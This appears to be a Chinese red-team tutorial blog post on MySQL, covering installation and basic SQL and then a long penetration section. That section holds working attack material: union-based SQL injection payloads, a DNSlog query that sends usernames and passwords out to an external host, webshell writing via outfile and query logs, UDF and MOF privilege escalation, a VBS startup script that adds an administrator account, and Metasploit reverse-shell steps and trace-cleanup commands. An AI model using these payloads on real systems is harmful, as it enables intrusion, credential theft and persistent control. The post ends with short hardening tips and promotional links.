MySQL 是最流行的關系型數據庫,與此同時也是 web 應用中最好的關系型數據庫管理應用軟件。我們在滲透過程中碰到的 PHP 站點大部分都會搭配 MySQL 數據庫,因此它是紅隊攻防中最常遇到的數據庫。
?
0x01 MySQL簡介
MySQL 是典型的關系型數據庫,所謂的關系型數據庫,其實就是建立在關系模型上的數據庫,借助于集合代數等數學概念和方法來處理數據庫當中的數據,它的特點如下:
1、數據以表格的形式出現
2、每行為各種數據記錄
3、每列為記錄所對應的數據域
4、許多行和列構成了一張表單
5、若干個表單組成數據庫
MySQL 由瑞典的 MySQL AB 公司開發,目前屬于 Oracle 公司,它作為關聯數據庫管理系統,關聯數據庫將數據保存在不同的表中,而不是將所有數據都在放一個大倉庫內,這極大提升了數據庫的速度和靈活性。與此同時 MySQL 支持大型數據庫,可以處理上千萬條記錄的大型數據庫。同時能夠運行在多個操作系統之上,并且支持多種語言,包括 C、C++、Python 等,特別對 PHP 語言有很好的支持。
0x02 MySQL安裝與連接
MySQL安裝配置
訪問 MySQL 官網即可下載對應版本的數據庫
下載地址:https://www.mysql.com/downloads/
Windows下安裝
選擇 MySQL 社區版MySQL community downloads
下載
選擇下載 MySQL 服務器MySQL community server
選擇進入舊版本下載looking for previous GA versions?
選擇 Windows 64位 下載
下載完成后將壓縮包解壓,解壓至mysql目錄中。但運行 mysql.exe 爆出缺少dll文件
錯誤:
我們需要安裝集成運行庫,完成后即可執行mysqld
,但是又出現如下下錯誤。根據提示在 mysql 目錄下創建 data 目錄用于存放數據,完成后執行成功。
但是還是打不開,在服務中未查找到 mysql 服務,于是在 mysql 目錄下創建配置文件mysql.ini
[mysql]
# 設置mysql客戶端默認字符集
default-character-set=utf8
[mysqld]
# 設置3306端口
port = 3306
# 設置mysql的安裝目錄
basedir=C:\www\mysql
# 設置mysql數據庫的數據的存放目錄
datadir=C:\www\mysql\data
# 允許最大連接數
max_connections=200
# 服務端使用的字符集默認為8比特編碼的latin1字符集
character-set-server=utf8
# 創建新表時將使用的默認存儲引擎
default-storage-engine=INNODB
以管理員身份運行cmd(否則無法創建 mysql 服務),進入 mysql 的 bin 目錄中執行命令如下
mysqld --install #安裝
mysqld --initialize #初始化
net start mysql #運行
在版本5.6及以下無需密碼即可登錄,但本數據庫版本為8.0,存在以下兩種方式獲取密碼
方法一
1、在 mysql.ini 文件末尾加上skip-grant-tables(取消權限設置)保存文件。
2、重啟mysql服務
3、cmd下進入 mysql/bin 目錄,輸入 mysql -u root -p ,回車,這時候不需要密碼即可登錄
重置密碼。輸入 use mysql 回車
4、輸入如下命令修改密碼,需要注意的是新版本下 mysql 數據庫 password 字段更改為authentication_stringupdate user set authentication_string=password("newPassword") where user="root"; 5、刪除 mysql.ini 文件末尾 skip-grant-tables 并保存文件
6、重啟 mysql 服務后就能用新密碼登錄 root 賬戶
方法二
在目錄data/*.err
文件中可顯示直接密碼
?
使用該密碼能夠直接登錄數據庫
mysql.exe -u root -p
登錄成功后必須重設密碼,否則會一直提示下面這行錯誤。
You must reset your password using ALTER USER statement before executing this statement.
重新設置密碼后即可完成配置
ALTER USER "root"@"localhost" IDENTIFIED BY "新密碼";
Linux下安裝
在 Linux 安裝 MySQL 相比 Windows 要簡單方便許多,通常使用apt
、yum
等包管理軟件就可以安裝成功,下面以yum
為例進行演示
wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
rpm mysql-community-release-el7-5.noarch.rpm
yum update
yum install mysql-server
有了 RPM 包后我們就可以下載獲取對應的 MySQL 軟件程序
-
MySQL - MySQL服務器。你需要該選項,除非你只想連接運行在另一臺機器上的MySQL服務器。
-
MySQL-client - MySQL 客戶端程序,用于連接并操作Mysql服務器。
-
MySQL-devel - 庫和包含文件,如果你想要編譯其它MySQL客戶端,例如Perl模塊,則需要安裝該RPM包。
-
MySQL-shared - 該軟件包包含某些語言和應用程序需要動態裝載的共享庫(libmysqlclient.so*),使用MySQL。
-
MySQL-bench - MySQL數據庫服務器的基準和性能測試工具。
設置權限并啟動 MySQL
chown -R mysql:mysql /var/lib/mysql/
mysqld --initialize
systemctl start mysqld
有時候我們還會用到MariaDB
,其實這時 MySQL 的一個分支,與 MySQL 完全兼容,安裝命令如下:
yum install mariadb-server mariadb
systemctl start mariadb
MySQL連接
Windows下連接
自動安裝的話通過 phpstudy 直接安裝開啟服務即可,默認配置內容如下:
username : root(最高權限用戶)
password : root
port : 3306
host : localhost
本地的話進入 MySQL 的 bin 目錄通過mysql.exe
就可以直接登錄數據庫
mysql.exe -uroot -proot -hlocalhost -P3306
遠程連接則需要在數據庫中開啟用戶外聯才能完成,比如設置root用戶外聯
grant all on *.* to root@'%' identified by 'root' with grant option;
Linux下連接
在 Linux 中連接數據庫也會方便不少,因為我們不需要進行環境變量的配置或進入 MySQL 的 bin 目錄下操作
mysql -uroot -proot -hlocalhost -P3306
如果需要退出數據庫的話,可使用如下命令完成退出
quit
exit
\q
0x03 MySQL基礎用法
命令注釋
通過以下三類注釋符可對執行命令進行注釋
#mac
--mac
/*mac*/
基礎操作
查詢當前數據庫的基本信息
select database(); ## 查看當前數據庫
select user(); ##查看當前用戶
show status; ##查看當前特定資源信息
select version(); ##查看當前數據庫版本
對數據庫進行增刪改查
show databses; ##查看所有數據庫
select database(); ##查看當前數據庫
use mysql; ##使用mysql數據庫
create database test1; ##添加test1數據庫
drop database test1; ##刪除數據庫
alter database test1 charset utf8; ##修改數據庫編碼方式
對數據表進行增刪改查
show tables; ##查看當前數據庫下所有表名
desc users; ##查看數據表內容,包含表結構、字段類型、主鍵、是否為空等屬性
select username,password from users; ##查看當前users表中賬號密碼
create table users(id int(7)); ##創建 users 表
create table users(id int(7) auto_increment,username varchar(100) not null,password char(100) not null,primary key(id))engine=innodb default charset=utf8; ##創建完整表
drop table users; ##刪除表
alter table users rename users1; ##修改表
alter table users modify username varchar(155); ##修改字段數據類型
alter table users change username uname char(111); ##修改字段名
alter table users add desc char(111) not null; ##增加字段名
alter table users drop desc; ##刪除字段名
alter table users engine=myisam; ##修改存儲表引擎
數據類型介紹參考:https://www.cnblogs.com/-xlp/p/8617760.html
常見的約束條件
primary key ##標識該屬性為該表的主鍵,可以唯一的標識對應的元組
foreign key ##標識該屬性為該表的外鍵,是與之聯系某表的主鍵
not null ##標識該屬性不能為空
unique ##標識該屬性是唯一的
auto_increment ##標識該屬性的值自動增加
default ##標識該屬性為默認值
對數據進行增刪改查
insert into users(id,username,password) values(1,'mac','mac'); ##為所有字段添加數據
insert into users(username) values('mac1'); ##為指定字段添加數據,id自動增加
insert into users(id,username,password) values(null,'mac2','123456'),(null,'mac2','123456'); ##指定字段增加多條數據
insert into users values(null,'mac3','123456'),(null,'mac4','123456'); ##增加多條數據
delete from users where id=1; ##刪除數據,如果刪除前id為7,那么之后id增加為8、9、10...
truncate table users; ##刪除數據,會清除全部,如果刪除前id為7,那么之后id增加為1
delete from users; ##全部刪除表
update users set password="111111" where id = 1; ##修改指定類型數據
update users set password="111111",username="mac2" where id = 2; ##修改多種類型數據
update users set password="333333"; ##修改所有類型數據
select * from users; ##查詢users表中所有數據
select username from users; ##查詢單個字段數據
select username,password from users; ##查詢多個字段數據
select * from users where id=1; ##按條件查詢
常見關系運算符
= 等于
!= <> 不等于
< 小于
> 大于
<= 小于等于
>= 大于等于
高級查詢
帶in關鍵字查詢
select * from users where id in(1,2,3);
select * from users where id not in(1,2,3);
空值查詢
select * from users where id is not null;
select * from users where id is null;
去重復查詢
select distinct username from users;
like模糊查詢
##%代表任意值
select * from users where username like "d%";
select * from users where username like "%d%";
##_代表單個任意值
select * from users where username like "d_";
select * from users where username like "_d_";
and 和 or 多條件查詢
select * from users where id < 7 and username = 'mac3';
select * from users where id = 5 or username = 'mac4';
##and和or一起使用
select * from users where id > 2 and password = '123456' or username = 'mac1';
select * from users where id > 2 or username = 'mac2' and password = '123456';
當and和or一起使用時,and的優先級高于or,因此兩者一起使用時會優先運算and,再運算or
聚合查詢
select count(id) from users;
select sum(id) from users;
select avg(id) from users;
select max(id) from users;
select min(id) from users;select count(*) from users;count() 返回某列的行數
sum() 返回某列值的和
avg() 返回某列的平均值
max() 返回某列的最大值
min() 返回某列的最小值
分組查詢
##單獨使用group by
select * from users group by username;##group by 和 having一起使用
select max(id) from users group by username;
select count(id) from users group by username;
select * from users group by username having sum(id)<6;
having關鍵字和where作用相同,區別在于having關鍵字可以跟聚合函數,而where關鍵字不能跟聚合函數。通常having關鍵字與group by一起使用,對分組結果進行過濾
使用 limit 限制查詢結果的數量
select * from users limit 1;
select * from users limit 5;
#顯示1-5結果
select * from users limit 1,5;
為表和字段取別名
##為表取別名
select * from users as u where u.id = 2;
##為字段取別名
select username as name from users;
where子查詢
select * from users where id in (select * from users where id > 5);
## 把內層查詢結果當作外層查詢的比較條件
select * from users where id in (select id from users where id > 5);
from子查詢
select * from (select * from users where id < 4) as re;
## 將內層查詢結果提供給外層再次查詢
exists子查詢
select * from users where exists(select * from users where id > 2);
## 將外層查詢結果拿到內層,看內層查詢是否成立,加入括號內成立,則輸出所有,返回不成立則無
聯合查詢
select * from users union select *,1 from users1;
連接查詢
內連接關鍵詞:inner join on
組合兩個表中的記錄,法牛話關聯字段相符的記錄,返回兩個表的交集
select * from a_new a inner join b_new b on a.id = b.id;
左連接操作關鍵詞:left join on/ left outer join on
左連接就是左外連接,左表的記錄將全部表示出來,右表只會顯示符合搜索條件的記錄,而右表記錄不足的地方均為 null
select * from a_new a left join b_new b on a.id = b.id;
右連接操作關鍵詞:right join on/ right outer join on
右連接就是右外連接,左表只會顯示符合搜索條件的記錄,右表的記錄將會全部表示出來,而左表記錄不足的地方均為 null
select * from a_new right join b_new b on a.id = b.id;
0x04 MySQL滲透
SQL注入
數據庫信息獲取
information_schema 數據庫是 MySQL 自帶的,它提供了訪問數據庫元數據的方式,什么是元數據呢?元數據就是關于數據的數據,如數據庫名、表名、列的數據類型、訪問權限等。有時候用于表述該信息的其他術語包括“數據詞典”和“系統目錄”
在 MySQL 中 information_schema 看作是一個數據庫,確切的說是信息數據庫。其中保存著關于mysql服務器維護的所有其他數據庫的信息。如數據庫名、數據庫表、表欄的數據類型和訪問權限等。而在 information_schema 中有數個只讀表,實際上就是視圖,而不是基本表,因此無法看到與之相關的任何文件
schemata表:提供了當前數據庫實例中所有數據庫的信息。show database()的結果就是取自該表
tables表:提供了關于數據庫表的信息,描述了哪個表屬于哪個庫、表類型、表引擎、創建時間等信息,show tables from schemaname的結果就是取自該表
columns表:提供了關于表中列的信息,描述了某張表上所有列信息,show columns from schemaname.tablename的結果就是取自該表
statistics表:提供了關于表索引的信息,show index from schemaname.tablename的結果就是取自該表
users_privileges表:提供了關于全程權限的信息,該信息取自mysql.user授權表,是非標準表
schema_privileges表:提供了關于數據庫權限的信息,該信息取自mysql.user授權表,是非標準表
table_privileges表:提供了關于表權限的信息,該信息取自mysql.tables_priv授權表,是非標準表
column_privileges表:提供了關于列權限的信息,該信息取自mysql.columns_priv授權表,是非標準表
character_sets表:提供了mysql實例可用字符集的信息。show character set結果取自該表
collations表:提供了關于各字符集的對照信息
collation_sharacter_set_applicability表:指明了可用于校對的字符集,這些列等效于show collation的前兩個顯示字段
table_constraints表:指明了存在約束的表以及表的約束類型
key_column_usage表:指明了具有約束的鍵列
routines表:指明了關于存儲子程序(存儲程序和函數)的信息。此時routines表不包含自定義函數(UDF),而名為mysql.proc name的列指明了information_schema.routines表的mysql.proc表列
view表:指明了關于數據庫中的視圖信息,需要擁有show view權限,否則無法看到視圖信息
triggers表:指明了關于觸發程序的信息,必須擁有super權限才能查看該表
利用 information_schema 中的表查詢相關數據
schemata 包含所有數據庫名、類型、字符集等
tables 包含所有表信息
columns 包含所有列信息
查詢schemata
中的第一個庫名
select schema_name from information_schema.schemata limit 0,1;
查詢information_schema
中的數據信息
select * from information_schema.tables where table_schema='information_schema' limit 0,1;
通過十六進制轉換后查詢
select hex('information_schema');
# 696E666F726D6174696F6E5F736368656D61
select * from information_schema.tables where table_schema=0x696E666F726D6174696F6E5F736368656D61 limit 0,1;
查詢表名
select column_name from information_schema.columns where table_schema=0x696E666F726D6174696F6E5F736368656D61 and table_name = 'character_sets';
通過查詢到的表名、列名查詢數據信息
select id,username,password from test.users;
有了以上基礎,我們就以 sqlilabs 為例開始測試 SQL 注入,注入方式為基礎的聯合查詢注入
目標SQL語句如下:
$sql = select * from users where id='$id' limit 0,1
# 返回內容
if true:輸出查詢內容
else:print_r(mysql_error());
判斷注入點
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回錯誤界面
判斷字段數
id=1' order by 3--+ //返回正常界面
id=1' order by 4--+ //返回錯誤界面
由此可說明字段數為3,通過 union select 查看回顯位置
id=-1' union select 1,2,3--+
查詢基礎信息
id=-1' union select 1,version(),user()--+
id=-1' union select 1,@@version_compile_os(),database()--+
查詢表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查詢列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
查詢關鍵信息
id=-1' union select 1,group_concat(username),group_concat(password) from users--+
哈希獲取與解密
使用SQL語句查詢到用戶哈希命令如下
select host,user,password from mysql.user; //MySQL<=5.6
select host,user,authentication_string from mysql.user; //MySQL>=5.7
通過 sqlmap 能夠直接獲取用戶哈希
sqlmap -u xxx --passwords
如果遇到哈希值無法破解的情況,通過md5解密網站也可拿到明文密碼
文件讀取與寫入
文件讀取和寫入需要滿足以下幾個前提條件
1、擁有高權限數據庫用戶,比如root
2、secure_file_priv無限制
3、當前用戶對目標目錄擁有讀取/寫入權限
4、知道讀取/寫入的絕對路徑
通過load_file()
函數讀取文件命令如下
select load_file('/var/www/html/index.php') //Linux
select load_file('C:\\phpStudy\\WWW\\shell.php') //Windows
成功讀取目標文件內容
?id=-1' union select 1,2,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\phpinfo.php')--+
與此同時load_file()
還能夠通過 dnslog 的方式讀取文件內容,但是在 Linux 下無法使用 dnslog 進行攻擊,這是因為 Windows 有 UNC 路徑,而 Linux 沒有。那什么是 UNC 路徑呢?UNC 路徑是通過命名規定用于遠程共享文件的一種格式,具體格式如下:
\\servername\sharename\filname
例如\\192.168.0.132\mac\
是一個的典型的 UNC 路徑,MySQL 中的concat
函數會拼接這其中的反斜杠符\
,通過轉移反斜杠符\
變成了兩個反斜杠符\\
,利用 UNC 路徑可完成 dnslog 外帶數據攻擊
id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qk9fw5.ceye.io\\mac'))--+
在 dnslog 平臺上返回查詢結果,使用 hex 編碼可有效減少特殊符號的干擾
解碼 hex 編碼還原數據
echo 44756D627E44756D62 | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"
通過 into outfile 以及 into dumpfile 則能夠直接寫入文件
?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'--+
?id=-1' union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'--+
直接訪問木馬如下,說明寫入成功
通過以下命令可查詢 MySQL 特性secure_file_priv
是否開啟
show global variables like '%secure_file_priv%';
Value | 說明 |
---|---|
NULL | 不允許導入或導出 |
/tmp | 只允許在 /tmp 目錄導入導出 |
空 | 不限制目錄 |
在 MySQL 5.5 之前 secure_file_priv 默認是空,這個情況下可以向任意絕對路徑寫文件
在 MySQL 5.5 之后 secure_file_priv 默認是 NULL,這個情況下不可以寫文件
日志查詢寫入shell
那么當secure_file_priv
不為空時,還有什么可以方式能夠獲取權限呢?答案是通過日志寫入,主要分為常規日志寫入和慢查詢日志寫入。其中利用條件如下:
1、擁有高權限數據庫用戶,比如root
2、當前用戶對目標目錄擁有寫入權限
3、知道讀取/寫入的絕對路徑
首先查詢當前常規日志的相關配置
SHOW VARIABLES LIKE 'general%';
還是以 sqlilabs 為例進行測試,通過堆疊注入開啟日志并設置日志存儲路徑
id=1';set global general_log="on";set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac.php';--+
再次查看日志,發現日志配置已修改完成
SHOW VARIABLES LIKE 'general%';
嘗試寫入 webshell
id=1';select <?php phpinfo();?>
訪問木馬地址mac.php
成功解析,說明寫入成功
除了常規的日志寫入以外,我們還能夠以慢日志寫入的方式完成寫入,而方法上也基本大同小異。唯一的不同的點就在于慢查詢日志主要記錄在 MySQL 中響應時間超過閥值的語句,因此在注入時需要借助sleep()
函數延長查詢時間,否則無法記錄到慢查詢日志當中。在數據庫中查詢慢查詢日志記錄是否開啟
show variables like '%slow_query_log%';
開啟慢查詢日志記錄
set global slow_query_log = "ON";
設置慢查詢日志文件
set global slow_query_log_file='/var/www/html/shell.php'
通過 SQL 注入開啟慢查詢日志寫入木馬
id=1';set global slow_query_log = "ON";set global slow_query_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac2.php';--+
再次查看日志,發現慢日志配置已修改完成
show variables like '%slow_query_log%';
向慢查詢日志中寫入 webshell
id=1';select '<?php phpinfo();?>' from mysql.db where sleep(10)--+
訪問木馬地址mac2.php
成功解析,說明寫入成功
yaSSL緩沖區溢出
MySQL 的 yaSSL 庫存在一個緩沖區溢出漏洞,允許遠程攻擊者利用漏洞執行任意代碼。該漏洞由于年代比較久遠,因此也沒有詳細研究。目前已經在 MSF 中完成集成,利用模塊如下:
exploit/windows/mysql/mysql_yassl_hello
exploit/linux/mysql/mysql_yassl_hello
在測試過程中發現 MySQL 版本小于以下影響版本可重點關注
MySQL AB MySQL 5.1.x
MySQL AB MySQL 5.5.x
身份認證繞過
漏洞詳情
身份認證繞過(CVE-2012-2122)漏洞即用戶名多次輸入錯誤密碼會有幾率直接成功登錄數據庫。與 yaSSL 緩沖區溢出一樣,由于不太常見的原因,我也沒對該漏洞進行復現
影響版本
MySQL 5.1.62, 5.2.12, 5.3.6, 5.5.23
漏洞利用
在 Linux 中通過 shell 命令循環 1000 次登陸數據庫
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
在 MSF 中也同樣集成了相關利用模塊
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf > set rhosts 127.0.0.1
msf > run
UDF提權
漏洞詳情
udf 為 MySQL 中的用戶自定義函數,將動態鏈接庫文件寫入 MySQL 的 plugin 目錄中可創建自定義函數,從而能夠幫助我們執行系統命令,完成數據庫權限至系統權限的提升。
其中不同系統的動態鏈接庫文件在 Sqlmap 以及 Metasploit 中已內置,Sqlmap 的 UDF 動態鏈接庫文件位置為/data/udf/mysql
?
但是這些動態鏈接庫為了防止被誤殺都進行了編碼處理,因此無法直接使用。需要借助 Sqlmap 自帶的 cloak.py 進行解碼后才能使用
python3 cloak.py -d -i lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so
Metasploit 的 UDF 動態鏈接庫文件則無需解碼,同時它的位置位于/embedded/framework/data/exploits/mysql
漏洞利用
根據漏洞利用原理,我們首先需要尋找 MySQL 的插件目錄,通過 SQL 語句可以非常方便地找到
show variables like '%plugin%';
如果不存在的話可以在 shell 找到 MySQL 的安裝目錄,并在其中創建/lib/plugin
文件夾,但是通過 NTFS 數據流創建文件夾的成功率相對比較低。
select 123 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
什么?你說找不到 MySQL 的安裝目錄,通過 SQL 語句也能夠查詢出來
select @@basedir;
當然寫入 plugin 目錄需滿足以下條件
1、擁有高權限數據庫用戶,比如root
2、secure_file_priv無限制
3、當前用戶對 plugin 目錄擁有寫入權限
執行 SQL 語句可將動態鏈接庫文件寫入 plugin 目錄中,其中的 hex 編碼是將動態鏈接庫文件經過十六進制編碼后的結果,如果懶得轉換可以參考國光大神的UDF
SELECT 0x7f454c4602... INTO DUMPFILE 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
利用寫入的動態鏈接庫創建自定義函數。但是出現了報錯信息。
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
這是因為 MySQL 的安裝版本為 32 位,而寫入的動態鏈接庫為 64 位,因此我們需要重新寫入 32 位的動態鏈接庫,成功創建后看 MySQL 函數中是否已經新增
select * from mysql.func;
如果創建成功我們就可以利用該函數執行系統命令
select sys_eval('whoami');
可以看到當前權限為管理員,如果需要刪除自定義函數,可執行如下命令
drop function sys_eval;
如果當前已經擁有 webshell,我們可以上傳相關腳本完成 UDF 提權
導出 UDF 后可通過腳本執行系統命令
MOF提權
漏洞詳情
利用 MOF 進行提權局限性比較大,基本上只能在 Windows Server 2003 環境中才能成功提權。利用原理是在C:/windows/system32/wbem/mof
下的 mof 文件每隔一段時間都會被系統執行,因為mof文件中有一部分是 VBS 腳本,利用這個VBS腳本可調用 cmd 執行系統命令。
漏洞利用
利用的 mof 腳本內容如下:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mac P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators mac /add\")";
}; //執行語句instance of __FilterToConsumerBinding
{ Consumer = $Consumer; Filter = $EventFilter;
};
通過 SQL 語句可將該文件導入目標目錄C:/windows/system32/wbem/mof
當中
select 0x237... into dumpfile 'C:\\windows\\system32\\webm\\mof\\mac.mof'
執行成功后我們可通過 cmd 查看用戶是否已經添加,如添加則提權成功
net user mac
由于每隔一段時間 mof 文件都會被執行,因此想要完成痕跡清理需要暫時關閉 winmgmt 服務,最后刪除 mof 文件
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\mac.mof /F /S
在擁有 webshell 的情況下,我們可以上傳相關腳本完成 MOF 提權
連接數據庫后點擊 exploit 可成功寫入將 mof 文件
寫入執行命令,點擊 exploit 成功添加用戶
net user mac xxx12456 /add && net localgroup administrators mac /add
在計算機管理中發現用戶添加成功
當然在 MSF 中也集成了 MOF 提權模塊,使用起來相對來說比較方便且能夠自動清理痕跡
msf > use exploit/windows/mysql/mysql_mof
msf > set payload windows/meterpreter/reverse_tcp
msf > set rhosts 10.10.10.10
msf > set username root
msf > set password root
msf > run
啟動項提權
在 Windows 環境下我們還可以利用 MySQL 數據庫的文件寫入將自定義腳本導入啟動項當中,利用腳本可在系統用戶登錄、開機、關機時自動運行。
手動提權
Windows 中常見的啟動項路徑如下:
# Windows Server 2003中文系統
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動# Windows Server 2003英文系統
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup# Windows Server 2003開關機項 需要自己建立對應文件夾
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown# Windows Server 2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
啟動項路徑支持腳本類型為 vbs 和 exe,無論是利用 vbs 執行 cmd 命令還是通過 CS 生成 exe 都能完成利用,以下為添加管理員的 VB 腳本
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user mac P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators mac /add", 0
接下來將 VB 腳本經過 hex 編碼后通過 SQL 語句寫入系統啟動項當中
select 0x1234... into dumpfile "C:\\Documents and Settings\\Administrator\\Start Menu\\Programs\\Startup\\test.vbs"
成功寫入等待用戶重新登錄,登錄成功的同時腳本也會自動執行。
MSF提權
在 MSF 中也集成了相關的利用模塊,使用起來非常方便
msf > use exploit/windows/mysql/mysql_start_up
msf > set rhosts 10.10.10.10
msf > set username root
msf > set password root
msf > run
在本地開啟 MSF 監聽并注銷用戶
msf6 > handler -H 192.168.0.111 -P 4444 -p windows/meterpreter/reverse_tcp
重新登錄后上線 MSF
0x05 MySQL安全防護
1、禁用弱口令、匿名登錄
2、采用最小權限原則,數據庫連接非必要不使用管理員用戶
3、如無需要禁止用戶開啟外聯
4、限制多次登錄及失敗重試時間
5、開啟日志記錄
網絡安全學習資源分享:
給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!
對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。
因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取?
讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
同時每個成長路線對應的板塊都有配套的視頻提供:?
?大廠面試題
?
視頻配套資料&國內外網安書籍、文檔
當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料
所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~?
讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)?
特別聲明:
此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。